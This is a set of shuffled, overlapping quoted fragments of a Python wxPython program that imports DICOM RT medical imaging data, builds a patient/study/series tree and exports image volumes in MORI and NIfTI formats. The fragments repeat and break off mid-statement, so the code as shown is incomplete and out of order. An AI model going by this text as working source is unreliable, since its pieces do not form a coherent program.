"the rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate,",
"self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)]",
"in patient: for studyid, study in patient['studies'].items(): if (studyid == series['study']): modality =",
"rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc,",
"XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self,",
"wx.CallAfter(foundFunc, patient) # Create each Study but don't create one for RT Dose",
"os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return dp",
"for studyid, study in patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition(' Image",
"thread is done before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join()",
"in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path,",
"= dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition']",
"# Create each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures'",
"(dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds",
"self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) #",
"np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break # Also test",
"the same patient position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient)",
"found, add the dose to the structure/study instead if not foundplan: if dose['hasgrid']:",
"during the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if",
"no structures were found, add the plan to the study/series instead if not",
"0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float) return m",
"msgs[0]) for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return",
"dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100,",
"return self.patient def OnCancel(self, evt): \"\"\"Stop the directory search and close the dialog.\"\"\"",
"'Searching for patients...') if (len(patients) == 0): progressStr = 'Found 0 patients.' elif",
"logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try:",
"the tree control.\"\"\" # Now add the specific item to the tree for",
"self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title",
"= float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj,",
"float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0,",
"if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images'",
"by Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' #",
"dose, filearray) # No RT Dose files were found else: if 'structures' in",
"'vol' in title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie =",
"'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits')",
"plan['rxdose'] > 0 else \"Unknown\" name = 'RT Plan: ' + plan['label'] +",
"self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in",
"plans were found, add the dose to the structure/study instead if not foundplan:",
"Dose files were found else: if 'structures' in patient: for structureid, structure in",
"'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure = False if 'rtss'",
"{} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name = 'Series:",
"sort by Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber'",
"{}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date))",
"conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num",
"1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data to the tree",
"= 'RT Structure Set: ' + structure['label'] for seriesid, series in patient['series'].items(): foundseries",
"patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of images if (('ImageOrientationPatient' in",
"0, 0, 'Searching for patients...') patients = {} # Check if the path",
"== item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item,",
"= True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8)",
"# Create each RT Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in",
"DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory",
"# Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> # Copyright (c)",
"# Check if the path is valid if os.path.isdir(path): files = [] for",
"dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import process interface elements.\"\"\"",
"the user.\"\"\" self.terminate = True dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose",
"not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function",
"used for RT structure set if 'series' in item: if (item['series'] == image['series']):",
"the array based on the sorted order for s, slice in enumerate(sortednums): for",
"image['series']): appendImage = True # used for RT structure set if 'series' in",
"self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child,",
"self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return if not self.output_dir: self.AlertDialog('Please enter",
"not h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name = str(patient['name'])",
"in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each",
"Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self,",
"#name = 'Series: ' + series['description'] + ' (' + modality + ',",
"(message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL)",
"msgs[0]) # Sort the images based on a sort descriptor: # (ImagePositionPatient, InstanceNumber",
"sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the images back to the",
"len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img",
"style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export",
"+ ' cGy' if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure",
"1): progressStr = 'Found ' + str(len(patients)) + ' patients. Reading DICOM data...'",
"th in all_export_threads] #[th.join() for th in all_export_threads] # wait all threads #self.AlertDialog('All",
"structure in patient['structures'].items(): if 'plans' in patient: for planid, plan in patient['plans'].items(): name",
"= evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self,",
"each RT Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans']",
"if series['numimages']==1 else 'images') #name = 'Series: ' + series['description'] + ' ('",
"progressFunc, exportFunc): \"\"\"Get the data of the selected patient from the DICOM importer",
"# since some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo",
"for RT plan / dose if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']):",
"wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root",
"'studies' in patient: for studyid, study in patient['studies'].items(): if (studyid == series['study']): modality",
"ImageOrientationPatient parallel = True for i, item in enumerate(images): if (i > 0):",
"'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{} \\r'.format(field))",
"(i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1),",
"don't already exist if not h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] =",
"+ self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array =",
"foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure",
"a valid DICOM file.\", files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if",
"badstructure, \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED)",
"iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList)",
"== plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files to the filearray if",
"> 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated",
"Sort the images based on a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber)",
"dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan()",
"study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and images if 'series'",
"n in range(len(files)): # terminate the thread if the value has changed #",
"not length: percentDone = 0 else: percentDone = int(100 * (num+1) / length)",
"def OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def",
"wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose files were",
"not exist. Please select a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal()",
"= dlgDicomImporter.ShowModal() # Save configure conf = {} with open('.dcmconverter.conf', 'w') as f:",
"self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum,",
"self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control",
"dp.ds.SOPClassUID.name) # Call the progress function to update the gui wx.CallAfter(progressFunc, n, len(files),",
"patient data to the tree control.\"\"\" # Now add the specific item to",
"if 'rtss' in dose: if (structureid == dose['rtss']): foundstructure = True if (structure['referenceframe']",
"== 'rtdose')): if not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality",
"id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices'))",
"self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we are done with the",
"self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir,",
"were found, add the plan to the study/series instead if not foundstructure: #",
"for i, image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) #",
"def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of the",
"descriptor to a list to be sorted for i, image in enumerate(images): if",
"valid if os.path.isdir(path): files = [] for root, dirs, filenames in os.walk(path): files",
"1) else str(series['numimages']) + ' images)' #name = name + numimages series['treeid'] =",
"minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient,",
"self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose']",
"== \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort descriptor to a",
"not self.output_name: self.AlertDialog('Please enter valid output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output",
"= dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital,",
"json, warnings from logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx",
"evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK)",
"the directory search and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main():",
"patients[h]: patients[h]['images'] = {} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n]",
"= dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept + self.offset image_array[:,:,i] =",
"= dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot",
"if (item['id'] == image['series']): appendImage = True # used for RT structure set",
"Call the progress function to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for",
"num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient,",
"%s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is",
"seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP",
"+ plan['name'] + ')' if len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose']",
"based on the sorted order for s, slice in enumerate(sortednums): for i, image",
"each Series of images if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() ==",
"info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc,",
"= dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until the",
"valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message):",
"if 'rtplan' in item: if 'plans' in patient: for planid, plan in patient['plans'].items():",
"(num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True)",
"(n == 0): patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds)",
"f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata)",
"the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format",
"np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel >",
"return # Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir):",
"0 else: percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if",
"' + structure['label'] for seriesid, series in patient['series'].items(): foundseries = False if (seriesid",
"'Found 1 patient. Reading DICOM data...' elif (len(patients) > 1): progressStr = 'Found",
"wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg = wx.MessageDialog( parent, \"The DICOM",
"m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj,",
"{})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name = 'Series: '",
"dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel,",
"not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of images",
"header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as f: origin_header_lines =",
"dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam']",
"found, add the rtss to the study if not foundseries: badstructure = self.tcPatients.AppendItem(",
"the series are parallel # by testing for differences in ImageOrientationPatient parallel =",
"(dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the",
"progress function to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients",
"0, 0, 'Select a valid location.') dlg = wx.MessageDialog( parent, \"The DICOM import",
"No RT Dose files were found else: if 'structures' in patient: for structureid,",
"found, add the plan to the study/series instead if not foundstructure: # If",
"item, filearray = [], rxdose = None): \"\"\"Enable an item to be selected",
"(structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If",
"DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a dictionary of data.\"\"\" def __init__(self):",
"self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread whether to terminate or not.\"\"\"",
"' (' + plan['name'] + ')' if len(plan['name']) else \"\" rxdose = plan['rxdose']",
"= False if 'rtss' in dose: if (structureid == dose['rtss']): foundstructure = True",
"0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]],",
"2009-2017 <NAME> # Copyright (c) 2009 <NAME> # This file is part of",
"dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] =",
"' (' + patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root)",
"rxdose) # If no plans were found, add the dose to the structure/study",
"{} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each Study but don't create",
"self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir",
"in patient: for structureid, structure in patient['structures'].items(): if 'series' in patient: foundseries =",
"unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by CL.Wang # Sort image numbers",
"= dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT Dose",
"plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name += \" - \" + b['description']",
"parentdata: rxdose = parentdata['rxdose'] # Show the rxdose text box if no rxdose",
"Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self,",
"self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory",
"iop1), dtype=np.int32))): parallel = False break # Also test ImagePositionPatient, as some series",
"for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename",
"StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in",
"elif (len(patients) == 1): progressStr = 'Found 1 patient. Reading DICOM data...' elif",
"field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field:",
"XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata =",
"= XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients =",
"== wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\"",
"= dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each",
"dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name",
"def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the panel has been",
"dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj,",
"== image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the images back",
"f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if self.export_nii_format: import nibabel",
"100, '') def GetPatient(self): \"\"\"Return the patient data from the DICOM importer dialog.\"\"\"",
"not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']]",
"patient: foundseries = False name = 'RT Structure Set: ' + structure['label'] for",
"plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name += \" -",
"# Add the images to the array based on the sorted order for",
"by ImagePositionPatient if parallel: sort = 'IPP' else: # Otherwise sort by Instance",
"'Searching for patients...') patients = {} # Check if the path is valid",
"with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f:",
"== item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss, but ref'd rtplan, check",
"(seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If",
"self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset the rx dose",
"filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(),",
"data...' elif (len(patients) > 1): progressStr = 'Found ' + str(len(patients)) + '",
"Hide the progress bar until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False)",
"+ b['description'] name += \")\" if \"dose\" in b: name += \" -",
"import process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing",
"configuration...') with open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path)",
"image=0) return root def AddPatientTree(self, patient): \"\"\"Add a new patient to the tree",
"= int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir =",
"= \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient",
"= str(patient['name']) + ' (' + patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root,",
"len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated ==",
"# Call the progress function to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching",
"f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f: for field in origin_header_lines:",
"no rxdose was found # and if it is an RT plan or",
"structureid, structure in patient['structures'].items(): if 'plans' in patient: for planid, plan in patient['plans'].items():",
"self.output_name: self.AlertDialog('Please enter valid output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir",
"completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series have been selected!')",
"in patient['structures'].items(): foundstructure = False if 'rtss' in dose: if (structureid == dose['rtss']):",
"plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT",
"progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the patient data from the",
"-*- coding: utf-8 -*- # dicomgui.py \"\"\"Main app file that convert DICOM data",
"tree if they don't already exist if not h in self.patients: self.patients[h] =",
"self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang",
"if not 'doses' in patients[h]: patients[h]['doses'] = {} dose = {} dose['id'] =",
"+= map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break for n in",
"image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image",
"Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] = {}",
"True rxdose = None if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with",
"{}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist()))",
"seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except:",
